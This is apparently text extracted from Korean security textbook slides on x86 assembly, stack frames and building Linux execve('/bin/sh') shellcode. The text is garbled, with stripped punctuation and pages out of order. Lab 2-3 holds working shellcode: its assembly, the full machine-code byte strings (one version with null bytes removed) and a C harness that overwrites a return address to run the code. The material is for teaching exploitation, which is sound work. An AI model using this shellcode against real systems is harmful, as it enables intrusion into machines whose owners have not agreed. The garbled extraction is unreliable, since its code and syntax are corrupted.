lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 37: 80×86  시스템에 대한 이해

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

